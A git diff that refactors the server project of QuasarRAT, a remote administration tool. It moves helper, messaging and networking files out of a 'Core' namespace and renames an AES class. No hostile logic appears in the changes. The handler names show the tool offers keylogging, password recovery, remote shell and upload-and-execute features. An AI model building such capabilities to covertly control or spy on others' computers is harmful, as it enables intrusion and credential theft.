5a1ca094..cf7ffcc6 100644 --- a/Quasar.Server/Forms/FrmSystemInformation.cs +++ b/Quasar.Server/Forms/FrmSystemInformation.cs @@ -3,10 +3,10 @@ using System.Linq; using System.Windows.Forms; using Quasar.Common.Messages; -using Quasar.Server.Core.Extensions; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Extensions; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index a6f2d026..3f230fe2 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -4,9 +4,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Server.Controls; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmUpdate.cs b/Quasar.Server/Forms/FrmUpdate.cs index 6c0285c6..72872f7a 100644 --- a/Quasar.Server/Forms/FrmUpdate.cs +++ b/Quasar.Server/Forms/FrmUpdate.cs @@ -1,7 +1,7 @@ using System; using System.IO; using System.Windows.Forms; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmUploadAndExecute.cs b/Quasar.Server/Forms/FrmUploadAndExecute.cs index de67e889..a9bf98cb 100644 --- a/Quasar.Server/Forms/FrmUploadAndExecute.cs +++ b/Quasar.Server/Forms/FrmUploadAndExecute.cs @@ -1,7 +1,7 @@ using System; using System.IO; using System.Windows.Forms; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Forms/FrmVisitWebsite.cs b/Quasar.Server/Forms/FrmVisitWebsite.cs index 3831bec0..f6595a60 100644 --- a/Quasar.Server/Forms/FrmVisitWebsite.cs +++ b/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -1,6 +1,6 @@ using System; using System.Windows.Forms; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; namespace Quasar.Server.Forms { diff --git a/Quasar.Server/Core/Helper/ClipboardHelper.cs b/Quasar.Server/Helper/ClipboardHelper.cs similarity index 89% rename from Quasar.Server/Core/Helper/ClipboardHelper.cs rename to Quasar.Server/Helper/ClipboardHelper.cs index f5d6b120..8389b578 100644 --- a/Quasar.Server/Core/Helper/ClipboardHelper.cs +++ b/Quasar.Server/Helper/ClipboardHelper.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class ClipboardHelper { diff --git a/Quasar.Server/Core/Helper/FileHelper.cs b/Quasar.Server/Helper/FileHelper.cs similarity index 62% rename from Quasar.Server/Core/Helper/FileHelper.cs rename to Quasar.Server/Helper/FileHelper.cs index d4be56a6..184e4fc3 100644 --- a/Quasar.Server/Core/Helper/FileHelper.cs +++ b/Quasar.Server/Helper/FileHelper.cs @@ -1,30 +1,26 @@ using System.IO; using System.Linq; using System.Text; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; using Quasar.Common.Utilities; -using Quasar.Server.Core.Cryptography; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class FileHelper { - private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; private static readonly SafeRandom Random = new SafeRandom(); - private static readonly string[] _sizes = { "B", "KB", "MB", "GB" }; - private static readonly char[] _illegalChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); + private static readonly string[] Sizes = {"B", "KB", "MB", "GB", "TB", "PB"}; + private static readonly char[] IllegalChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray(); public static bool CheckPathForIllegalChars(string path) { - return path.Any(c => _illegalChars.Contains(c)); + return path.Any(c => IllegalChars.Contains(c)); } public static string GetRandomFilename(int length, string extension = "") { - StringBuilder randomName = new StringBuilder(length); - for (int i = 0; i < length; i++) - randomName.Append(CHARS[Random.Next(CHARS.Length)]); - - return string.Concat(randomName.ToString(), extension); + return string.Concat(StringHelper.GetRandomString(length), extension); } public static int GetNewTransferId(int o = 0) @@ -36,12 +32,12 @@ public static string GetDataSize(long size) { double len = size; int order = 0; - while (len >= 1024 && order + 1 < _sizes.Length) + while (len >= 1024 && order + 1 < Sizes.Length) { order++; len = len / 1024; } - return string.Format("{0:0.##} {1}", len, _sizes[order]); + return $"{len:0.##} {Sizes[order]}"; } /// @@ -55,7 +51,7 @@ public static void WriteLogFile(string filename, string appendText) using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) { - byte[] data = AES.Encrypt(Encoding.UTF8.GetBytes(appendText)); + byte[] data = Aes128.Encrypt(Encoding.UTF8.GetBytes(appendText)); fStream.Seek(0, SeekOrigin.Begin); fStream.Write(data, 0, data.Length); } @@ -67,7 +63,7 @@ public static void WriteLogFile(string filename, string appendText) /// The filename of the log. public static string ReadLogFile(string filename) { - return File.Exists(filename) ? Encoding.UTF8.GetString(AES.Decrypt(File.ReadAllBytes(filename))) : string.Empty; + return File.Exists(filename) ? Encoding.UTF8.GetString(Aes128.Decrypt(File.ReadAllBytes(filename))) : string.Empty; } } } diff --git a/Quasar.Server/Core/Helper/FormatHelper.cs b/Quasar.Server/Helper/FormatHelper.cs similarity index 97% rename from Quasar.Server/Core/Helper/FormatHelper.cs rename to Quasar.Server/Helper/FormatHelper.cs index 5ee3982c..1914a38c 100644 --- a/Quasar.Server/Core/Helper/FormatHelper.cs +++ b/Quasar.Server/Helper/FormatHelper.cs @@ -1,7 +1,7 @@ using System.IO; using System.Text.RegularExpressions; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class FormatHelper { diff --git a/Quasar.Server/Core/Helper/HostHelper.cs b/Quasar.Server/Helper/HostHelper.cs similarity index 95% rename from Quasar.Server/Core/Helper/HostHelper.cs rename to Quasar.Server/Helper/HostHelper.cs index 0f73dc25..6dfe348e 100644 --- a/Quasar.Server/Core/Helper/HostHelper.cs +++ b/Quasar.Server/Helper/HostHelper.cs @@ -2,9 +2,9 @@ using System.ComponentModel; using System.Linq; using System.Text; -using Quasar.Server.Core.Data; +using Quasar.Server.Data; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class HostHelper { diff --git a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs b/Quasar.Server/Helper/NativeMethodsHelper.cs similarity index 94% rename from Quasar.Server/Core/Helper/NativeMethodsHelper.cs rename to Quasar.Server/Helper/NativeMethodsHelper.cs index 44d46654..5a3f1845 100644 --- a/Quasar.Server/Core/Helper/NativeMethodsHelper.cs +++ b/Quasar.Server/Helper/NativeMethodsHelper.cs @@ -1,7 +1,7 @@ using System; -using Quasar.Server.Core.Utilities; +using Quasar.Server.Utilities; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class NativeMethodsHelper { diff --git a/Quasar.Server/Core/Helper/PlatformHelper.cs b/Quasar.Server/Helper/PlatformHelper.cs similarity index 99% rename from Quasar.Server/Core/Helper/PlatformHelper.cs rename to Quasar.Server/Helper/PlatformHelper.cs index c5f0c8ab..6dfe51ca 100644 --- a/Quasar.Server/Core/Helper/PlatformHelper.cs +++ b/Quasar.Server/Helper/PlatformHelper.cs @@ -1,6 +1,6 @@ using System; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class PlatformHelper { diff --git a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs b/Quasar.Server/Helper/RemoteDesktopHelper.cs similarity index 94% rename from Quasar.Server/Core/Helper/RemoteDesktopHelper.cs rename to Quasar.Server/Helper/RemoteDesktopHelper.cs index 2b5c2c59..8ad0c3d3 100644 --- a/Quasar.Server/Core/Helper/RemoteDesktopHelper.cs +++ b/Quasar.Server/Helper/RemoteDesktopHelper.cs @@ -2,7 +2,7 @@ using System.Drawing.Imaging; using System.Windows.Forms; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class RemoteDesktopHelper { diff --git a/Quasar.Server/Core/Helper/WindowHelper.cs b/Quasar.Server/Helper/WindowHelper.cs similarity index 85% rename from Quasar.Server/Core/Helper/WindowHelper.cs rename to Quasar.Server/Helper/WindowHelper.cs index 7d606a05..fb8f9257 100644 --- a/Quasar.Server/Core/Helper/WindowHelper.cs +++ b/Quasar.Server/Helper/WindowHelper.cs @@ -1,6 +1,6 @@ -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Helper +namespace Quasar.Server.Helper { public static class WindowHelper { diff --git a/Quasar.Server/Core/Messages/ClientStatusHandler.cs b/Quasar.Server/Messages/ClientStatusHandler.cs similarity index 98% rename from Quasar.Server/Core/Messages/ClientStatusHandler.cs rename to Quasar.Server/Messages/ClientStatusHandler.cs index 1f938f94..3fdd5786 100644 --- a/Quasar.Server/Core/Messages/ClientStatusHandler.cs +++ b/Quasar.Server/Messages/ClientStatusHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class ClientStatusHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs similarity index 99% rename from Quasar.Server/Core/Messages/FileManagerHandler.cs rename to Quasar.Server/Messages/FileManagerHandler.cs index 3e64cfa0..99d7ffbf 100644 --- a/Quasar.Server/Core/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -1,19 +1,19 @@ -using Quasar.Common.Enums; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using Quasar.Common.Models; -using Quasar.Common.Networking; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Networking; -using Quasar.Server.Enums; -using Quasar.Server.Models; -using System; +using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading; +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Enums; +using Quasar.Server.Helper; +using Quasar.Server.Models; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class FileManagerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs similarity index 95% rename from Quasar.Server/Core/Messages/KeyloggerHandler.cs rename to Quasar.Server/Messages/KeyloggerHandler.cs index 4186c6df..dd23e466 100644 --- a/Quasar.Server/Core/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -1,11 +1,11 @@ -using Quasar.Common.IO; +using System.IO; +using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Networking; -using Quasar.Server.Core.Helper; -using Quasar.Server.Core.Networking; -using System.IO; +using Quasar.Server.Helper; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class KeyloggerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs b/Quasar.Server/Messages/PasswordRecoveryHandler.cs similarity index 95% rename from Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs rename to Quasar.Server/Messages/PasswordRecoveryHandler.cs index 41c463c3..48928c5d 100644 --- a/Quasar.Server/Core/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Server/Messages/PasswordRecoveryHandler.cs @@ -1,11 +1,11 @@ -using Quasar.Common.Messages; +using System.Collections.Generic; +using System.Linq; +using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; -using System.Collections.Generic; -using System.Linq; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class PasswordRecoveryHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/RegistryHandler.cs b/Quasar.Server/Messages/RegistryHandler.cs similarity index 99% rename from Quasar.Server/Core/Messages/RegistryHandler.cs rename to Quasar.Server/Messages/RegistryHandler.cs index 89a3a09c..d2b64ec7 100644 --- a/Quasar.Server/Core/Messages/RegistryHandler.cs +++ b/Quasar.Server/Messages/RegistryHandler.cs @@ -2,9 +2,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class RegistryHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/RemoteDesktopHandler.cs b/Quasar.Server/Messages/RemoteDesktopHandler.cs similarity index 98% rename from Quasar.Server/Core/Messages/RemoteDesktopHandler.cs rename to Quasar.Server/Messages/RemoteDesktopHandler.cs index d0f96403..a4f5d51a 100644 --- a/Quasar.Server/Core/Messages/RemoteDesktopHandler.cs +++ b/Quasar.Server/Messages/RemoteDesktopHandler.cs @@ -1,12 +1,12 @@ -using Quasar.Common.Enums; +using System.Drawing; +using System.IO; +using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Networking; using Quasar.Common.Video.Codecs; -using Quasar.Server.Core.Networking; -using System.Drawing; -using System.IO; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class RemoteDesktopHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/RemoteShellHandler.cs b/Quasar.Server/Messages/RemoteShellHandler.cs similarity index 97% rename from Quasar.Server/Core/Messages/RemoteShellHandler.cs rename to Quasar.Server/Messages/RemoteShellHandler.cs index ad0843bc..36796b82 100644 --- a/Quasar.Server/Core/Messages/RemoteShellHandler.cs +++ b/Quasar.Server/Messages/RemoteShellHandler.cs @@ -1,8 +1,8 @@ using Quasar.Common.Messages; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class RemoteShellHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/ReverseProxyHandler.cs b/Quasar.Server/Messages/ReverseProxyHandler.cs similarity index 95% rename from Quasar.Server/Core/Messages/ReverseProxyHandler.cs rename to Quasar.Server/Messages/ReverseProxyHandler.cs index f95458fb..3402632c 100644 --- a/Quasar.Server/Core/Messages/ReverseProxyHandler.cs +++ b/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Messages; +using System.Linq; +using Quasar.Common.Messages; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; -using Quasar.Server.Core.ReverseProxy; -using System.Linq; +using Quasar.Server.Networking; +using Quasar.Server.ReverseProxy; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class ReverseProxyHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/StartupManagerHandler.cs b/Quasar.Server/Messages/StartupManagerHandler.cs similarity index 93% rename from Quasar.Server/Core/Messages/StartupManagerHandler.cs rename to Quasar.Server/Messages/StartupManagerHandler.cs index a0536173..4511763e 100644 --- a/Quasar.Server/Core/Messages/StartupManagerHandler.cs +++ b/Quasar.Server/Messages/StartupManagerHandler.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Messages; +using System.Collections.Generic; +using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; -using System.Collections.Generic; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class StartupManagerHandler : MessageProcessorBase> { diff --git a/Quasar.Server/Core/Messages/SystemInformationHandler.cs b/Quasar.Server/Messages/SystemInformationHandler.cs similarity index 94% rename from Quasar.Server/Core/Messages/SystemInformationHandler.cs rename to Quasar.Server/Messages/SystemInformationHandler.cs index 695d3065..16f79412 100644 --- a/Quasar.Server/Core/Messages/SystemInformationHandler.cs +++ b/Quasar.Server/Messages/SystemInformationHandler.cs @@ -1,10 +1,10 @@ -using Quasar.Common.Messages; -using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; -using System; +using System; using System.Collections.Generic; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class SystemInformationHandler : MessageProcessorBase>> { diff --git a/Quasar.Server/Core/Messages/TaskManagerHandler.cs b/Quasar.Server/Messages/TaskManagerHandler.cs similarity index 96% rename from Quasar.Server/Core/Messages/TaskManagerHandler.cs rename to Quasar.Server/Messages/TaskManagerHandler.cs index 7b53b375..ccfcd7df 100644 --- a/Quasar.Server/Core/Messages/TaskManagerHandler.cs +++ b/Quasar.Server/Messages/TaskManagerHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class TaskManagerHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Messages/TcpConnectionsHandler.cs b/Quasar.Server/Messages/TcpConnectionsHandler.cs similarity index 97% rename from Quasar.Server/Core/Messages/TcpConnectionsHandler.cs rename to Quasar.Server/Messages/TcpConnectionsHandler.cs index 3fa94d88..cfd72600 100644 --- a/Quasar.Server/Core/Messages/TcpConnectionsHandler.cs +++ b/Quasar.Server/Messages/TcpConnectionsHandler.cs @@ -1,9 +1,9 @@ using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.Messages +namespace Quasar.Server.Messages { public class TcpConnectionsHandler : MessageProcessorBase { diff --git a/Quasar.Server/Core/Networking/Client.cs b/Quasar.Server/Networking/Client.cs similarity index 98% rename from Quasar.Server/Core/Networking/Client.cs rename to Quasar.Server/Networking/Client.cs index 1a63a988..6c7f9c89 100644 --- a/Quasar.Server/Core/Networking/Client.cs +++ b/Quasar.Server/Networking/Client.cs @@ -5,13 +5,13 @@ using System.Net.Sockets; using System.Threading; using ProtoBuf; +using Quasar.Common.Cryptography; +using Quasar.Common.IO.Compression; using Quasar.Common.Messages; using Quasar.Common.Networking; -using Quasar.Server.Core.Compression; -using Quasar.Server.Core.Cryptography; -using Quasar.Server.Core.Extensions; +using Quasar.Server.Extensions; -namespace Quasar.Server.Core.Networking +namespace Quasar.Server.Networking { public class Client : IEquatable, ISender { @@ -474,7 +474,7 @@ private void AsyncReceive(object state) if (!isError) { if (encryptionEnabled) - _payloadBuffer = AES.Decrypt(_payloadBuffer); + _payloadBuffer = Aes128.Decrypt(_payloadBuffer); isError = _payloadBuffer.Length == 0; // check if payload decryption failed } @@ -642,7 +642,7 @@ private byte[] BuildMessage(byte[] payload) payload = SafeQuickLZ.Compress(payload); if (encryptionEnabled) - payload = AES.Encrypt(payload); + payload = Aes128.Encrypt(payload); byte[] message = new byte[payload.Length + _parentServer.HEADER_SIZE]; Array.Copy(BitConverter.GetBytes(payload.Length), message, _parentServer.HEADER_SIZE); diff --git a/Quasar.Server/Core/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs similarity index 99% rename from Quasar.Server/Core/Networking/QuasarServer.cs rename to Quasar.Server/Networking/QuasarServer.cs index b4abf350..580d93a5 100644 --- a/Quasar.Server/Core/Networking/QuasarServer.cs +++ b/Quasar.Server/Networking/QuasarServer.cs @@ -1,7 +1,7 @@ using System.Linq; using Quasar.Common.Messages; -namespace Quasar.Server.Core.Networking +namespace Quasar.Server.Networking { public class QuasarServer : Server { diff --git a/Quasar.Server/Core/Networking/Server.cs b/Quasar.Server/Networking/Server.cs similarity index 99% rename from Quasar.Server/Core/Networking/Server.cs rename to Quasar.Server/Networking/Server.cs index c61e4632..fcfac774 100644 --- a/Quasar.Server/Core/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -6,10 +6,10 @@ using System.Windows.Forms; using ProtoBuf.Meta; using Quasar.Common.Messages; -using Quasar.Server.Core.Data; -using Quasar.Server.Core.Networking.Utilities; +using Quasar.Server.Data; +using Quasar.Server.Networking.Utilities; -namespace Quasar.Server.Core.Networking +namespace Quasar.Server.Networking { public class Server { diff --git a/Quasar.Server/Core/Networking/UserState.cs b/Quasar.Server/Networking/UserState.cs similarity index 94% rename from Quasar.Server/Core/Networking/UserState.cs rename to Quasar.Server/Networking/UserState.cs index bf8fb201..385d4222 100644 --- a/Quasar.Server/Core/Networking/UserState.cs +++ b/Quasar.Server/Networking/UserState.cs @@ -1,8 +1,8 @@ using System.IO; using System.Windows.Forms; -using Quasar.Server.Core.Helper; +using Quasar.Server.Helper; -namespace Quasar.Server.Core.Networking +namespace Quasar.Server.Networking { public class UserState { diff --git a/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs b/Quasar.Server/Networking/Utilities/PooledBufferManager.cs similarity index 99% rename from Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs rename to Quasar.Server/Networking/Utilities/PooledBufferManager.cs index 7e1e0c45..dea27e25 100644 --- a/Quasar.Server/Core/Networking/Utilities/PooledBufferManager.cs +++ b/Quasar.Server/Networking/Utilities/PooledBufferManager.cs @@ -1,7 +1,7 @@ using System; using System.Collections.Generic; -namespace Quasar.Server.Core.Networking.Utilities +namespace Quasar.Server.Networking.Utilities { /// /// Implements a pool of byte arrays to improve allocation performance when parsing data. diff --git a/Quasar.Server/Core/Networking/Utilities/UPnP.cs b/Quasar.Server/Networking/Utilities/UPnP.cs similarity index 98% rename from Quasar.Server/Core/Networking/Utilities/UPnP.cs rename to Quasar.Server/Networking/Utilities/UPnP.cs index 76c3a529..bd4761e2 100644 --- a/Quasar.Server/Core/Networking/Utilities/UPnP.cs +++ b/Quasar.Server/Networking/Utilities/UPnP.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using Mono.Nat; -namespace Quasar.Server.Core.Networking.Utilities +namespace Quasar.Server.Networking.Utilities { internal static class UPnP { diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index cf51efbe..0bedf409 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -110,50 +110,47 @@ WordTextBox.cs - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - - + + + + + + + + + + @@ -312,8 +309,8 @@ - - + + FrmAbout.cs @@ -396,7 +393,7 @@ Designer Resources.Designer.cs - + diff --git a/Quasar.Server/Core/Registry/RegValueHelper.cs b/Quasar.Server/Registry/RegValueHelper.cs similarity index 97% rename from Quasar.Server/Core/Registry/RegValueHelper.cs rename to Quasar.Server/Registry/RegValueHelper.cs index ba4f7ad3..04eb6818 100644 --- a/Quasar.Server/Core/Registry/RegValueHelper.cs +++ b/Quasar.Server/Registry/RegValueHelper.cs @@ -3,7 +3,7 @@ using Quasar.Common.Models; using Quasar.Common.Utilities; -namespace Quasar.Server.Core.Registry +namespace Quasar.Server.Registry { public class RegValueHelper { diff --git a/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Server/ReverseProxy/ReverseProxyClient.cs similarity index 99% rename from Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs rename to Quasar.Server/ReverseProxy/ReverseProxyClient.cs index 57030d74..9a424d26 100644 --- a/Quasar.Server/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Quasar.Server/ReverseProxy/ReverseProxyClient.cs @@ -4,9 +4,9 @@ using System.Net.Sockets; using System.Text; using Quasar.Common.Messages; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.ReverseProxy +namespace Quasar.Server.ReverseProxy { public class ReverseProxyClient { diff --git a/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs b/Quasar.Server/ReverseProxy/ReverseProxyServer.cs similarity index 98% rename from Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs rename to Quasar.Server/ReverseProxy/ReverseProxyServer.cs index 5aa2c69d..b784e759 100644 --- a/Quasar.Server/Core/ReverseProxy/ReverseProxyServer.cs +++ b/Quasar.Server/ReverseProxy/ReverseProxyServer.cs @@ -3,9 +3,9 @@ using System.Linq; using System.Net; using System.Net.Sockets; -using Quasar.Server.Core.Networking; +using Quasar.Server.Networking; -namespace Quasar.Server.Core.ReverseProxy +namespace Quasar.Server.ReverseProxy { public class ReverseProxyServer { diff --git a/Quasar.Server/Core/Utilities/FrameCounter.cs b/Quasar.Server/Utilities/FrameCounter.cs similarity index 97% rename from Quasar.Server/Core/Utilities/FrameCounter.cs rename to Quasar.Server/Utilities/FrameCounter.cs index e0bf792e..895d3381 100644 --- a/Quasar.Server/Core/Utilities/FrameCounter.cs +++ b/Quasar.Server/Utilities/FrameCounter.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using System.Linq; -namespace Quasar.Server.Core.Utilities +namespace Quasar.Server.Utilities { public class FrameUpdatedEventArgs : EventArgs { diff --git a/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs b/Quasar.Server/Utilities/ListViewColumnSorter.cs similarity index 98% rename from Quasar.Server/Core/Utilities/ListViewColumnSorter.cs rename to Quasar.Server/Utilities/ListViewColumnSorter.cs index 9197d025..d63cf3d6 100644 --- a/Quasar.Server/Core/Utilities/ListViewColumnSorter.cs +++ b/Quasar.Server/Utilities/ListViewColumnSorter.cs @@ -1,7 +1,7 @@ using System.Collections; using System.Windows.Forms; -namespace Quasar.Server.Core.Utilities +namespace Quasar.Server.Utilities { public class ListViewColumnSorter : IComparer { diff --git a/Quasar.Server/Core/Utilities/NativeMethods.cs b/Quasar.Server/Utilities/NativeMethods.cs similarity index 97% rename from Quasar.Server/Core/Utilities/NativeMethods.cs rename to Quasar.Server/Utilities/NativeMethods.cs index 7f90291f..44cbfbc9 100644 --- a/Quasar.Server/Core/Utilities/NativeMethods.cs +++ b/Quasar.Server/Utilities/NativeMethods.cs @@ -1,7 +1,7 @@ using System; using System.Runtime.InteropServices; -namespace Quasar.Server.Core.Utilities +namespace Quasar.Server.Utilities { /// /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). diff --git a/Quasar.Server/Core/Utilities/NoIpUpdater.cs b/Quasar.Server/Utilities/NoIpUpdater.cs similarity index 95% rename from Quasar.Server/Core/Utilities/NoIpUpdater.cs rename to Quasar.Server/Utilities/NoIpUpdater.cs index d5d656f7..3618b616 100644 --- a/Quasar.Server/Core/Utilities/NoIpUpdater.cs +++ b/Quasar.Server/Utilities/NoIpUpdater.cs @@ -2,9 +2,9 @@ using System.Net; using System.Text; using System.Threading; -using Quasar.Server.Core.Data; +using Quasar.Server.Data; -namespace Quasar.Server.Core.Utilities +namespace Quasar.Server.Utilities { public static class NoIpUpdater { diff --git a/QuasarRAT.sln b/QuasarRAT.sln index 32cc2065..c427c146 100644 --- a/QuasarRAT.sln +++ b/QuasarRAT.sln @@ -13,32 +13,60 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Server.Tests", "Quas EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Common", "Quasar.Common\Quasar.Common.csproj", "{C7C363BA-E5B6-4E18-9224-39BC8DA73172}" EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Quasar.Common.Tests", "Quasar.Common.Tests\Quasar.Common.Tests.csproj", "{CFDA6D2E-8AB3-4349-B89A-33E1F0DAB32B}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU Debug|Mixed Platforms = Debug|Mixed Platforms + Release|Any CPU = Release|Any CPU Release|Mixed Platforms = Release|Mixed Platforms EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Any CPU.Build.0 = Debug|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Any CPU.Build.0 = Release|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {14CA405B-8BAC-48AB-9FBA-8FB5DF88FD0D}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Any CPU.ActiveCfg = Debug|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Debug|Mixed Platforms.Build.0 = Debug|x86 + {9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}.Release|Any CPU.ActiveCfg = Release|x86 